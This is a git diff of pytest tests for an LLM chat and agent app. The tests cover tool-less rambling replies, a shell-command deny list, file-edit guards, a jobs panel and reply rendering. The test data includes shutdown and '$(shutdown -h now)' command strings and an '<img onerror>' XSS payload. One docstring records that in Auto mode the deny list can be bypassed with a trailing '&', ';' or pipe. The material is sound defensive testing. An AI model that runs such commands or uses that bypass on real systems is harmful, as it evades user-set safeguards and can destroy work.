+    been answered, not stalled. There is nothing to be objectively wrong about,
+    so the model is believed -- which is what `NUDGE_MIN_CHARS` protects."""
     chat = _agent_chat(db, owner, mode=policy.MODE_AUTO)
     generation = _reply(db, chat)
 
@@ -444,6 +445,42 @@ async def test_a_chat_with_no_plan_is_never_nudged(db, owner, monkeypatch):
     assert len(seen) == 1
 
 
+async def test_a_long_reply_that_touched_nothing_is_asked_once(db, owner, monkeypatch):
+    """The gemma failure: pages of "Ready? GO! ... Wait, one last check ...
+    Actually ..." and not one tool call. A round with no tool calls is a model
+    saying it has finished, so the reply simply ended and nothing had been done.
+
+    No plan, so the first signal cannot fire. What fires instead is that a lot
+    was written and nothing was touched.
+    """
+    chat = _agent_chat(db, owner, mode=policy.MODE_AUTO)
+    generation = _reply(db, chat)
+
+    rambling = "Ready? GO! Wait, one last check. Actually, let me reconsider. " * 40
+    seen: list[dict] = []
+    await _run(monkeypatch, generation, [[_text(rambling)], [_text("Done.")]], seen)
+
+    assert len(seen) == 2, "it was asked once"
+    nudge = seen[1]["messages"][-1]
+    assert nudge["role"] == "user"
+    assert "did not use any tool" in nudge["content"]
+
+
+async def test_a_long_reply_that_did_use_a_tool_is_believed(db, owner, monkeypatch):
+    """The narrowing that keeps this away from the common case. A reply that did
+    some work and then said it was finished has made a claim anybody can check by
+    reading the transcript, and arguing with that is how a model gets nagged for
+    finishing."""
+    chat = _agent_chat(db, owner, mode=policy.MODE_AUTO)
+    generation = _reply(db, chat)
+    generation.tool_events.append({"name": "file_read", "status": "ok", "results": []})
+
+    seen: list[dict] = []
+    await _run(monkeypatch, generation, [[_text("x" * 4000)]], seen)
+
+    assert len(seen) == 1
+
+
 async def test_plan_mode_is_never_nudged(db, owner, monkeypatch):
     """plan_submit ends the turn deliberately. Nudging past it would argue with
     the whole point of the mode."""
diff --git a/tests/test_agent_policy.py b/tests/test_agent_policy.py
index b233c1d..77f0d08 100644
--- a/tests/test_agent_policy.py
+++ b/tests/test_agent_policy.py
@@ -166,14 +166,21 @@ def test_a_plain_command_still_matches_a_deny_list():
         "$(shutdown -h now)",
     ],
 )
-def test_a_composed_command_cannot_slip_past_a_deny_list(command):
-    """One character used to be the whole of the difference.
+def test_auto_runs_a_composed_command_even_with_a_deny_list(command):
+    """Auto means Auto, and this is what that costs.
 
-    `subject` returns None for anything carrying a metacharacter, so no pattern
-    could match it -- and the original reasoning said that was safe for a deny
-    list because it "returns you to the mode". True in Manual, Edit and Plan.
-    In Auto the mode is ALLOW, so `shutdown -h now` asked and
-    `shutdown -h now &` ran.
+    There was once a rule that an unmatchable command line ASKed whenever a deny
+    list existed, so that `shutdown -h now &` could not run where
+    `shutdown -h now` asked. It is gone, deliberately: the shipped deny list is
+    non-empty, so the rule made *every* compound command ask in Auto --
+    `cd build && make`, `pytest | tail`, anything with a pipe -- and the mode
+    whose whole purpose is not asking asked about most real commands.
+
+    What is given up is exactly what this test now asserts: a deny pattern can
+    be walked past with a trailing `&`, a `;` or a pipe. Do not "fix" it by
+    putting the branch back; that is the regression, not the fix. The upgrade
+    that restores both properties is to match the deny list against each segment
+    of a composed line, in `decide`.
     """
     decision = decide(
         mode=policy.MODE_AUTO,
@@ -182,7 +189,24 @@ def test_a_composed_command_cannot_slip_past_a_deny_list(command):
         command=command,
         deny=("shutdown *", "reboot *"),
     )
-    assert decision.verdict == ASK, command
+    assert decision.verdict == ALLOW, command
+
+
+@pytest.mark.parametrize("mode", [policy.MODE_MANUAL, policy.MODE_EDIT, policy.MODE_PLAN])
+def test_every_other_mode_still_asks_about_a_composed_command(mode):
+    """The change above is scoped to Auto, and only because Auto's row is ALLOW.
+
+    Everything else asks before running a command whatever it looks like, so
+    nothing about those three modes moved.
+    """
+    decision = decide(
+        mode=mode,
+        risk=RISK_EXECUTE,
+        tool_name="shell_run",
+        command="cd build && make",
+        deny=("shutdown *",),
+    )
+    assert decision.verdict == ASK
 
 
 def test_a_composed_command_is_still_fine_when_nothing_is_denied():
diff --git a/tests/test_agent_tools.py b/tests/test_agent_tools.py
index a3695e8..20e28f3 100644
--- a/tests/test_agent_tools.py
+++ b/tests/test_agent_tools.py
@@ -1480,3 +1480,188 @@ async def test_the_harness_warns_after_a_rewind(db, user_id, machine):
     text = harness.compose(db, user, offered, chat)
     assert "was rewound" in text
     assert "still there" in text
+
+
+async def test_a_file_too_large_to_read_whole_is_not_patched_at_all(
+    db, user_id, machine, tmp_path
+):
+    """The write path replaces, and the read path truncates, so patching a file
+    larger than the ceiling wrote back its beginning and deleted the rest --
+    silently, and reported as a success with a byte count. The same rule Canvas
+    already follows: a truncated read is read-only.
+    """
+    target = tmp_path / "project" / "big.txt"
+    original = "alpha\nbeta\n" + ("filler line\n" * 6000)
+    target.write_text(original)
+    context = _context(db, user_id, machine)
+
+    await tools_service.run_tool(context, "file_read", '{"path": "big.txt"}')
+    assert len(original) > context.agent.max_output, "the fixture has to exceed the ceiling"
+
+    outcome = await tools_service.run_tool(
+        context,
+        "file_edit",
+        _json.dumps({"path": "big.txt", "patch": "@@ -1,2 +1,2 @@\n alpha\n-beta\n+BETA\n"}),
+    )
+
+    assert outcome.event["status"] == "error"
+    assert "too large to patch" in outcome.content
+    assert target.read_text() == original, "and above all, nothing was written"
+
+
+async def test_an_unreadable_file_says_so_rather_than_reading_as_empty(
+    db, user_id, machine, tmp_path
+):
+    """`_current` answers "" for a file it cannot read, which is right for
+    file_write -- that file is about to be created. Patching against it reported
+    a context mismatch "past the end of the file", so a model was told an
+    unreadable file was an empty one, and the way out of that is to rewrite it
+    whole.
+    """
+    target = tmp_path / "project" / "note.txt"
+    target.write_text("alpha\nbeta\n")
+    context = _context(db, user_id, machine)
+    await tools_service.run_tool(context, "file_read", '{"path": "note.txt"}')
+
+    target.unlink()
+
+    outcome = await tools_service.run_tool(
+        context,
+        "file_edit",
+        _json.dumps({"path": "note.txt", "patch": "@@ -1,2 +1,2 @@\n alpha\n-beta\n+BETA\n"}),
+    )
+
+    assert outcome.event["status"] == "error"
+    assert "past the end of the file" not in outcome.content
+    assert "Nothing was written." in outcome.content
+    assert not target.exists(), "and it was certainly not created by the attempt"
+
+
+# --- The jobs chip and panel ---------------------------------------------------
+def _job_row(db, chat_id, job_id, command, status="running", exit_status=None):
+    from lembas.db.models import Job
+
+    row = Job(
+        id=job_id, chat_id=chat_id, command=command, status=status, exit_status=exit_status
+    )
+    db.add(row)
+    db.commit()
+    return row
+
+
+def test_the_chip_counts_only_what_is_still_running(client, db, registered, machine):
+    """A job that has finished is still worth listing -- its log is how you find
+    out what it did -- but it is not something to be told about."""
+    from sqlalchemy import select as _select
+
+    from lembas.services import settings_store as _settings
+
+    user = db.scalar(_select(User))
+    chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
+    _settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
+
+    _job_row(db, chat.id, "a" * 12, "sleep 900")
+    _job_row(db, chat.id, "b" * 12, "make", status="done", exit_status=0)
+
+    html = client.get(f"/api/chats/{chat.id}/jobs").text
+
+    assert "1 job" in html
+    assert "2 job" not in html
+
+
+def test_the_chip_keeps_polling_when_nothing_is_running(client, db, registered, machine):
+    """The element that carries `hx-trigger` is the one being replaced, so a
+    fragment that collapsed to nothing would replace the trigger with nothing --
+    and the first job started afterwards would never appear."""
+    from sqlalchemy import select as _select
+
+    from lembas.services import settings_store as _settings
+
+    user = db.scalar(_select(User))
+    chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
+    _settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
+
+    html = client.get(f"/api/chats/{chat.id}/jobs").text
+
+    assert 'hx-trigger="every 5s"' in html
+    assert "picker" not in html, "and shows nothing while there is nothing to show"
+
+
+def test_the_panel_lists_a_stored_job_and_offers_stop_only_while_it_runs(
+    client, db, registered, machine
+):
+    from sqlalchemy import select as _select
+
+    from lembas.services import settings_store as _settings
+
+    user = db.scalar(_select(User))
+    chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
+    _settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
+
+    _job_row(db, chat.id, "a" * 12, "sleep 900")
+    _job_row(db, chat.id, "b" * 12, "make", status="done", exit_status=2)
+
+    html = client.get(f"/api/chats/{chat.id}/jobs/panel").text
+
+    assert "sleep 900" in html
+    assert "Failed, exit 2" in html
+    assert html.count("jobs/%s/stop" % ("a" * 12)) == 1
+    assert ("jobs/%s/stop" % ("b" * 12)) not in html, "a finished job has nothing to stop"
+
+
+def test_a_job_belonging_to_another_chat_is_not_readable(client, db, registered, machine):
+    """The remote paths are namespaced by chat id, which is what makes this
+    structurally impossible for a *model*. The route takes the id from a URL, so
+    it has to make the same check itself."""
+    from sqlalchemy import select as _select
+
+    from lembas.services import settings_store as _settings
+
+    user = db.scalar(_select(User))
+    chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
+    _settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
+
+    other = Chat(user_id=user.id, model_id="m", connection_id=chat.connection_id)
+    db.add(other)
+    db.commit()
+    _job_row(db, other.id, "c" * 12, "sleep 900")
+
+    assert client.get(f"/api/chats/{chat.id}/jobs/panel?job={'c' * 12}").status_code == 404
+    assert client.post(f"/api/chats/{chat.id}/jobs/{'c' * 12}/stop").status_code == 404
+
+
+def test_somebody_elses_chat_has_no_jobs_to_show(client, db, registered, machine):
+    from sqlalchemy import select as _select
+
+    from lembas.services import settings_store as _settings
+
+    user = db.scalar(_select(User))
+    chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
+    _settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
+
+    stranger = User(email="stranger@x.test", name="Stranger", password_hash="x")
+    db.add(stranger)
+    db.commit()
+    chat.user_id = stranger.id
+    db.commit()
+
+    assert client.get(f"/api/chats/{chat.id}/jobs").status_code == 404
+
+
+def test_a_command_from_the_far_side_is_escaped(client, db, registered, machine):
+    """The command was written by a model and the log is whatever it printed.
+    Both are untrusted exactly as much as anything else a tool returns."""
+    from sqlalchemy import select as _select
+
+    from lembas.services import settings_store as _settings
+
+    user = db.scalar(_select(User))
+    chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
+    _settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
+
+    _job_row(db, chat.id, "a" * 12, "echo '<img src=x onerror=alert(1)>'")
+
+    html = client.get(f"/api/chats/{chat.id}/jobs/panel").text
+
+    assert "<img src=x" not in html
+    assert "&lt;img src=x" in html
diff --git a/tests/test_chat.py b/tests/test_chat.py
index bc6923e..073499e 100644
--- a/tests/test_chat.py
+++ b/tests/test_chat.py
@@ -875,3 +875,62 @@ def _user_id(db):
     from lembas.db.models import User
 
     return db.scalar(select(User.id))
+
+
+def test_both_branches_of_the_bubble_render_the_same_partial():
+    """The streaming shell and the finished bubble are built from one builder,
+    so a reply cannot rearrange itself the moment the stream ends -- which is
+    what it used to do the other way round, three zones either side."""
+    from pathlib import Path
+
+    import lembas
+
+    source = (
+        Path(lembas.__file__).parent / "web/templates/chat/_message.html"
+    ).read_text()
+
+    assert source.count('include "chat/_steps.html"') == 2
+
+
+def test_no_template_still_asks_for_a_tools_frame():
+    """`tools` is gone: what it carried lives inside `steps`, which moves once a
+    round instead of twelve times a second. A leftover `sse-swap="tools"` would
+    be a container nothing ever fills."""
+    from pathlib import Path
+
+    import lembas
+
+    root = Path(lembas.__file__).parent / "web/templates"
+    for path in root.rglob("*.html"):
+        assert 'sse-swap="tools"' not in path.read_text(), path
+
+
+def test_the_steps_frame_carries_the_live_containers():
+    """That is how the tail blanks itself. When a round closes, what was being
+    written becomes a step above; re-emitting these two empty is what stops it
+    also showing below -- and it lets `reasoning` and `render` keep their
+    never-send-an-empty-one guard, which is what makes reattaching work."""
+    from types import SimpleNamespace
+
+    from lembas.web.templating import templates
+
+    html = templates.get_template("chat/_steps.html").render(
+        {"steps": [], "live": True, "message": SimpleNamespace(id="m1", reasoning_ms=0)}
+    )
+
+    assert 'sse-swap="reasoning"' in html
+    assert 'sse-swap="render"' in html
+
+
+def test_the_finished_bubble_carries_no_live_containers():
+    """The mirror of the above. A finished reply with an `sse-swap` in it is a
+    container waiting for a stream that is over."""
+    from types import SimpleNamespace
+
+    from lembas.web.templating import templates
+
+    html = templates.get_template("chat/_steps.html").render(
+        {"steps": [], "live": False, "message": SimpleNamespace(id="m1", reasoning_ms=0)}
+    )
+
+    assert "sse-swap" not in html
diff --git a/tests/test_chat_scope.py b/tests/test_chat_scope.py
index acfda3c..1a008ad 100644
--- a/tests/test_chat_scope.py
+++ b/tests/test_chat_scope.py
@@ -282,3 +282,43 @@ def test_the_verb_is_on_every_checkbox(client: TestClient, db, chat, registered)
     for box in found:
         assert box.get("hx-post") == f"/api/chats/{chat.id}/scope"
         assert "kind" in box.get("hx-vals", ""), "and says which thing it is"
+
+
+def test_the_menu_is_called_toggle(client: TestClient, db, chat, registered):
+    """It was "What this chat can use", which described the contents rather than
+    naming the control. The label is on the button and on the menu, and both are
+    read aloud, so both have to say it."""
+    settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
+    html = client.get(f"/chat/{chat.id}").text
+
+    assert 'aria-label="Toggle"' in html
+    assert "What this chat can use" not in html
+
+
+def test_the_menu_no_longer_offers_to_type_an_at_sign(client: TestClient, db, chat, registered):
+    """A menu you open in order to insert one character is a longer way round
+    than the character. Typing `@` is untouched and is asserted elsewhere."""
+    settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
+    html = client.get(f"/chat/{chat.id}").text
+
+    assert "data-mention-open" not in html
+    assert "Mention a file or a document" not in html
+
+
+def test_with_nothing_to_narrow_there_is_no_button_at_all(
+    client: TestClient, db, chat, registered
+):
+    """The guard used to be `has_scope or can upload`, because the mention row
+    was something to show when there was no scope. With that gone the same guard
+    would open an empty menu, which is worse than no button.
+
+    A model with no `tools` capability is offered nothing, so there is nothing
+    to switch off -- the honest way to reach an empty scope.
+    """
+    model = db.query(Model).filter_by(model_id="m").one()
+    model.capabilities_json = {}
+    db.commit()
+
+    html = client.get(f"/chat/{chat.id}").text
+
+    assert "picker__menu--scope" not in html
diff --git a/tests/test_generation_tools.py b/tests/test_generation_tools.py
index 7140297..2c475a7 100644
--- a/tests/test_generation_tools.py
+++ b/tests/test_generation_tools.py
@@ -5,6 +5,7 @@ from __future__ import annotations
 from lembas.db.models import ROLE_ASSISTANT, Chat, Connection, Message, Model
 from lembas.services import generation as generation_service
 from lembas.services import settings_store
+from lembas.services import steps as steps_service
 from lembas.services import tools as tools_service
 from lembas.services.search.base import SearchResult
 
@@ -515,3 +516,100 @@ def test_the_ceiling_is_clamped(db):
     assert settings_store.chat_rounds(db) == 100
     settings_store.update(db, {"max_chat_rounds": -5})
     assert settings_store.chat_rounds(db) == 0
+
+
+# --- The marks that make a reply a sequence ------------------------------------
+async def test_text_after_a_tool_call_renders_after_it(db, user_id, monkeypatch):
+    """The whole redesign, end to end. Before the marks existed this bubble
+    showed both sentences together at the bottom, under the tool block, however
+    many rounds apart the model had written them."""
+    from lembas.db.models import Message
+    from lembas.web.templating import templates
+
+    settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
+    chat_id, message_id = _chat_with_tools(db, user_id)
+
+    monkeypatch.setattr("lembas.services.search.run", _empty_search)
+    monkeypatch.setattr(
+        generation_service,
+        "stream_chat",
+        _stub_stream(
+            [
+                [
+                    _text_chunk("Let me look that up. "),
+                    _tool_call_chunk("web_search", '{"query": "mallorn"}'),
+                ],
+                [_text_chunk("Nothing found.")],
+            ],
+            [],
+        ),
+    )
+    monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
+
+    generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
+    await generation_service._run(generation)
+
+    message = db.get(Message, message_id)
+    db.refresh(message)
+    assert message.steps_json, "the marks reached the row"
+    assert message.content == "Let me look that up. Nothing found.", "and the text is untouched"
+
+    html = templates.get_template("chat/_steps.html").render(
+        {
+            "steps": steps_service.for_message(message),
+            "live": False,
+            "message": message,
+        }
+    )
+    assert html.index("Let me look that up") < html.index("tool-activity")
+    assert html.index("tool-activity") < html.index("Nothing found")
+
+
+async def test_a_budget_event_gets_a_step_of_its_own(db, user_id, monkeypatch):
+    """`_wrap_up` and `_gave_up` append outside the round loop. Without a mark
+    the one line saying why the reply stopped would land in the step still being
+    written, where the live view has no tools slot -- so the reader would be told
+    nothing at all."""
+    settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
+    chat_id, message_id = _chat_with_tools(db, user_id)
+    settings_store.update(db, {"max_chat_rounds": 1})
+
+    monkeypatch.setattr("lembas.services.search.run", _empty_search)
+    monkeypatch.setattr(
+        generation_service,
+        "stream_chat",
+        _stub_stream([[_tool_call_chunk("web_search", '{"query": "x"}')]], []),
+    )
+    monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
+
+    generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
+    await generation_service._run(generation)
+
+    built = steps_service.closed_from(generation, since=0)
+    events = [event for step in built for event in step.events]
+    # `kind`, not `name`: the out-of-rounds branch names the event after the
+    # tool that was refused, so the reader sees which call was cut off.
+    assert any("Stopped after" in (event.get("error") or "") for event in events), (
+        "the explanation is in a closed step rather than stranded in the tail"
+    )
+
+
+async def test_a_reply_that_calls_nothing_writes_no_marks(db, user_id, monkeypatch):
+    """And therefore renders as the old layout, which for a reply with no tool
+    blocks is the same sequence anyway. That is what makes the compatibility
+    branch honest rather than a special case."""
+    from lembas.db.models import Message
+
+    chat_id, message_id = _chat_with_tools(db, user_id)
+    monkeypatch.setattr(
+        generation_service, "stream_chat", _stub_stream([[_text_chunk("Just an answer.")]], [])
+    )
+    monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
+
+    await generation_service._run(
+        generation_service.Generation(chat_id=chat_id, message_id=message_id)
+    )
+
+    message = db.get(Message, message_id)
+    db.refresh(message)
+    assert message.steps_json == []
diff --git a/tests/test_metrics.py b/tests/test_metrics.py
index 20feba1..e3c34ad 100644
--- a/tests/test_metrics.py
+++ b/tests/test_metrics.py
@@ -450,3 +450,97 @@ def test_no_context_length_means_no_percentage(client: TestClient, db, registere
     page = client.get(f"/chat/{chat_id}").text
     assert "120 tokens" in page
     assert "metric--context" not in page
+
+
+# --- Counted, estimated, and the gap between them -----------------------------
+def _live(**fields):
+    """A Generation with just the fields the metrics read."""
+    from lembas.services import generation as generation_service
+
+    generation = generation_service.Generation(chat_id="c", message_id="m")
+    for key, value in fields.items():
+        setattr(generation, key, value)
+    return generation
+
+
+def test_a_reported_count_is_shown_verbatim():
+    """Ours is four characters to a token. Overriding a number the endpoint
+    actually counted with that would be a downgrade dressed as a fix."""
+    generation = _live(
+        reported_usage=True,
+        prompt_tokens=120,
+        completion_tokens=8,
+        content=["Waybread."],
+        counted_chars=len("Waybread."),
+    )
+
+    got = metrics.from_generation(generation)
+
+    assert got.prompt_tokens == 120
+    assert got.completion_tokens == 8
+    assert got.estimated is False
+
+
+def test_the_counts_keep_moving_between_usage_chunks():
+    """Usage arrives once per round, so on a long agent reply the reported
+    figures used to stand still for minutes while text streamed underneath
+    them -- `reported or estimate` never reaches its fallback again once the
+    first chunk has landed. Only what has been written since the last count is
+    estimated."""
+    generation = _live(
+        reported_usage=True,
+        prompt_tokens=100,
+        completion_tokens=10,
+        context_tokens=110,
+        content=["x" * 40],
+        counted_chars=0,
+    )
+
+    got = metrics.from_generation(generation)
+
+    assert got.completion_tokens == 20, "10 counted plus 40 characters of new text"
+    assert got.context_tokens == 120
+
+
+def test_the_interpolation_is_zero_the_moment_a_count_lands():
+    """Which is what makes the figure land exactly on the reported total at the
+    end of a round rather than drifting a little past it every time."""
+    generation = _live(
+        reported_usage=True,
+        completion_tokens=10,
+        content=["x" * 40],
+        counted_chars=40,
+    )
+
+    assert metrics.from_generation(generation).completion_tokens == 10
+
+
+def test_a_reply_nobody_counted_still_says_so_once_it_is_stored():
+    """`estimated` was inferred from "are both counts non-zero?", and the
+    end-of-reply fallback made that true of a reply nobody had counted. So the
+    tilde showed all the way through and then vanished at the moment the numbers
+    were written down, which is where it mattered most."""
+    generation = _live(content=["Waybread."], prompt_estimate_total=30)
+
+    got = metrics.from_generation(generation)
+
+    assert got.estimated is True
+    assert got.prompt_tokens == 30
+    assert got.completion_tokens > 0
+
+
+def test_the_prompt_does_not_jump_when_the_reply_ends():
+    """It read the latest round's estimate live and the sum of every round's
+    when stored, so a reply that called a tool visibly changed number at the
+    `done` frame. Both are the sum now."""
+    generation = _live(prompt_estimate=400, prompt_estimate_total=1000)
+
+    assert metrics.from_generation(generation).prompt_tokens == 1000
+
+
+def test_estimate_chars_does_not_invent_a_token_out_of_nothing():
+    """`estimate` floors at one token for any non-empty string, which is right
+    for a piece of text and wrong for a difference between two lengths."""
+    assert tokens.estimate_chars(0) == 0
+    assert tokens.estimate_chars(-5) == 0
+    assert tokens.estimate_chars(4) == 1
diff --git a/tests/test_steps.py b/tests/test_steps.py
new file mode 100644
index 0000000..1074c6e
--- /dev/null
+++ b/tests/test_steps.py
@@ -0,0 +1,302 @@
+"""A reply as the sequence of steps it was.
+
+The interesting cases are all about what a bubble does when the marks and the
+three stores disagree, because that is what an old row, a half-written persist
+and a hand-edited column all look like. None of them may throw: a transcript
+that renders in the wrong order is a nuisance, one that will not render is a
+page nobody can open.
+"""
+
+from __future__ import annotations
+
+from types import SimpleNamespace
+
+from lembas.services import steps
+from lembas.services.markdown import open_fence
+
+
+def _message(*, content="", reasoning="", events=None, marks=None, error="", ms=0):
+    return SimpleNamespace(
+        id="m1",
+        content=content,
+        reasoning=reasoning,
+        reasoning_ms=ms,
+        error=error,
+        tool_calls_json=list(events or []),
+        steps_json=list(marks or []),
+    )
+
+
+def _kinds(built):
+    return [(step.index, step.kind) for step in built]
+
+
+# --- The compatibility layout --------------------------------------------------
+def test_a_reply_with_no_marks_reads_exactly_as_it_always_did():
+    """Every row written before the marks existed. Thinking, then every tool
+    block, then the whole answer -- which is what those bubbles have shown since
+    the beginning, and there is no version flag anywhere to say so."""
+    built = steps.for_message(
+        _message(content="the answer", reasoning="hmm", events=[{"name": "a"}, {"name": "b"}])
+    )
+
+    assert _kinds(built) == [(0, "thinking"), (0, "tools"), (0, "text")]
+    assert built[1].events == ({"name": "a"}, {"name": "b"})
+
+
+def test_a_new_reply_that_called_nothing_is_the_same_list():
+    """The one ambiguity in "no marks means the old layout", and it is harmless:
+    with no tool blocks to sit between the prose, the old order and the new one
+    are the same sequence."""
+    built = steps.for_message(_message(content="hello", reasoning="hmm"))
+
+    assert _kinds(built) == [(0, "thinking"), (0, "text")]
+
+
+def test_a_failed_reply_does_not_show_its_thinking():
+    built = steps.for_message(_message(content="", reasoning="hmm", error="boom"))
+
+    assert built == []
+
+
+# --- Interleaving --------------------------------------------------------------
+def test_prose_either_side_of_a_tool_call_renders_either_side_of_it():
+    """The whole point. This used to be one thinking block, then every tool
+    block, then all the prose at the bottom -- fine on a two-round answer and
+    unusable on a forty-round one."""
+    built = steps.for_message(
+        _message(
+            content="Looking now. All fourteen pass.",
+            reasoning="first thoughtsecond thought",
+            events=[{"name": "shell_run"}],
+            marks=[{"round": 0, "thinking_to": 13, "text_to": 12, "tools_to": 1}],
+        )
+    )
+
+    assert _kinds(built) == [
+        (0, "thinking"),
+        (0, "text"),
+        (0, "tools"),
+        (1, "thinking"),
+        (1, "text"),
+    ]
+    assert built[0].text == "first thought"
+    assert "Looking now." in built[1].html
+    assert built[3].text == "second thought"
+    assert "fourteen pass" in built[4].html
+
+
+def test_thinking_is_sliced_per_round_and_the_column_stays_whole():
+    """A dozen thinking blocks in one bubble, each beside the command it led to,
+    and `Message.reasoning` still the single string everything else reads."""
+    message = _message(
+        reasoning="round oneround two",
+        content="",
+        events=[{"name": "a"}],
+        marks=[{"round": 0, "thinking_to": 9, "text_to": 0, "tools_to": 1}],
+    )
+    built = steps.for_message(message)
+
+    assert [s.text for s in built if s.kind == "thinking"] == ["round one", "round two"]
+    assert message.reasoning == "round oneround two", "the column is untouched"
+
+
+def test_only_the_trailing_prose_is_marked_live():
+    """`--live` draws the caret, and a caret after every paragraph that happened
+    to precede a tool call is not where the reply is being written."""
+    built = steps.for_message(
+        _message(
+            content="before after",
+            events=[{"name": "a"}],
+            marks=[{"round": 0, "thinking_to": 0, "text_to": 6, "tools_to": 1}],
+        )
+    )
+
+    assert [s.open for s in built if s.kind == "text"] == [False, True]
+
+
+def test_a_step_with_nothing_in_it_produces_nothing():
+    """A round that only called a tool leaves no empty prose block behind it."""
+    built = steps.for_message(
+        _message(
+            content="",
+            events=[{"name": "a"}],
+            marks=[{"round": 0, "thinking_to": 0, "text_to": 0, "tools_to": 1}],
+        )
+    )
+
+    assert _kinds(built) == [(0, "tools")]
+
+
+# --- Offsets that disagree with the stores -------------------------------------
+def test_offsets_past_the_end_are_clamped_rather_than_raising():
+    built = steps.for_message(
+        _message(
+            content="short",
+            reasoning="tiny",
+            events=[{"name": "a"}],
+            marks=[{"round": 0, "thinking_to": 9999, "text_to": 9999, "tools_to": 9999}],
+        )
+    )
+
+    assert "short" in built[1].html
+    assert built[0].text == "tiny"
+
+
+def test_offsets_that_go_backwards_lose_nothing():
+    """A second mark earlier than the first would slice backwards and silently
+    drop text. It comes out empty instead, and the tail still arrives."""
+    built = steps.for_message(
+        _message(
+            content="one two three",
+            marks=[
+                {"round": 0, "thinking_to": 0, "text_to": 8, "tools_to": 0},
+                {"round": 1, "thinking_to": 0, "text_to": 2, "tools_to": 0},
+            ],
+        )
+    )
+
+    assert "one two" in built[0].html
+    assert "three" in built[-1].html
+
+
+def test_junk_in_the_column_does_not_stop_the_bubble_rendering():
+    built = steps.for_message(
+        _message(content="hello", marks=[{}, {"text_to": None}, {"text_to": "lots"}])
+    )
+
+    assert any("hello" in step.html for step in built)
+
+
+def test_a_row_written_before_the_column_existed_reads_as_no_marks():
+    message = _message(content="hello")
+    message.steps_json = None
+
+    assert _kinds(steps.for_message(message)) == [(0, "text")]
+
+
+# --- Code fences across a tool call --------------------------------------------
+def test_a_fence_left_open_is_closed_and_reopened_around_the_tool_call():
+    """Splitting the markdown at a round boundary can leave a fence open, and
+    markdown-it then runs it to the end of that segment and mispairs every later
+    fence in the reply. Each piece closes its own and the next reopens it."""
+    opened = "Here:\n```python\nx = 1\n"
+    built = steps.for_message(
+        _message(
+            content=opened + "and the rest\n",
+            events=[{"name": "a"}],
+            marks=[{"round": 0, "thinking_to": 0, "text_to": len(opened), "tools_to": 1}],
+        )
+    )
+
+    first = next(s for s in built if s.kind == "text" and not s.open)
+    last = next(s for s in built if s.kind == "text" and s.open)
+    # `code-block`, not the literal source: the fence renderer highlights, so
+    # `x = 1` comes back as a run of spans.
+    assert "code-block" in first.html
+    assert "rest" in last.html
+    assert "code-block" in last.html, "the fence carries on rather than the prose becoming code"
+
+
+def test_the_carry_never_touches_the_stored_text():
+    """It is a rendering device. `build_messages`, titling and the copy button
+    all read `message.content`, and it has to be what the model wrote."""
+    text = "```python\nx = 1\nmore"
+    message = _message(
+        content=text,
+        marks=[{"round": 0, "thinking_to": 0, "text_to": 16, "tools_to": 0}],
+    )
+    steps.for_message(message)
+
+    assert message.content == text
+
+
+def test_a_fence_closed_before_the_boundary_carries_nothing():
+    text = "```py\nx\n```\ndone. more"
+    built = steps.for_message(
+        _message(
+            content=text,
+            marks=[{"round": 0, "thinking_to": 0, "text_to": 18, "tools_to": 0}],
+        )
+    )
+
+    assert "<pre" not in built[-1].html
+
+
+def test_open_fence_reads_the_common_shapes():
+    assert open_fence("nothing here") == ("", "")
+    assert open_fence("a\n```python\nx = 1") == ("```", "python")
+    assert open_fence("a\n```python\nx = 1\n```\nb") == ("", "")
+    assert open_fence("~~~js\nx") == ("~~~", "js")
+    # A fence marker inside an open fence is text, not a closer: it carries an
+    # info string, and a closer never does.
+    assert open_fence("```\n```python inside\n") == ("```", "")
+
+
+# --- The live path -------------------------------------------------------------
+def _generation(**fields):
+    from lembas.services import generation as generation_service
+
+    generation = generation_service.Generation(chat_id="c", message_id="m")
+    for key, value in fields.items():
+        setattr(generation, key, value)
+    return generation
+
+
+def test_closed_from_returns_only_what_a_follower_has_not_seen():
+    """`_follow` keeps what it has rendered. A closed step never changes again,
+    which is what stops a forty-round reply re-rendering its whole transcript
+    twelve times a second -- the cost the old `tools` frame actually paid."""
+    generation = _generation(
+        content=["one ", "two "],
+        tool_events=[{"name": "a"}, {"name": "b"}],
+        steps=[
+            {"round": 0, "thinking_to": 0, "text_to": 4, "tools_to": 1},
+            {"round": 1, "thinking_to": 0, "text_to": 8, "tools_to": 2},
+        ],
+    )
+
+    assert _kinds(steps.closed_from(generation, since=0)) == [
+        (0, "text"),
+        (0, "tools"),
+        (1, "text"),
+        (1, "tools"),
+    ]
+    assert _kinds(steps.closed_from(generation, since=1)) == [(1, "text"), (1, "tools")]
+
+
+def test_closed_from_never_includes_the_step_still_being_written():
+    generation = _generation(
+        content=["done ", "still going"],
+        steps=[{"round": 0, "thinking_to": 0, "text_to": 5, "tools_to": 0}],
+    )
+
+    assert all("still going" not in step.html for step in steps.closed_from(generation, since=0))
+
+
+def test_the_tail_is_what_is_past_the_last_mark():
+    generation = _generation(
+        content=["closed ", "open"],
+        reasoning=["thought ", "thinking"],
+        steps=[{"round": 0, "thinking_to": 8, "text_to": 7, "tools_to": 0}],
+    )
+
+    assert steps.tail(generation) == ("thinking", "open")
+
+
+def test_the_tail_reopens_a_fence_from_the_closed_part():
+    """Otherwise the code being written mid-reply stops looking like code the
+    moment a round closes underneath it."""
+    generation = _generation(
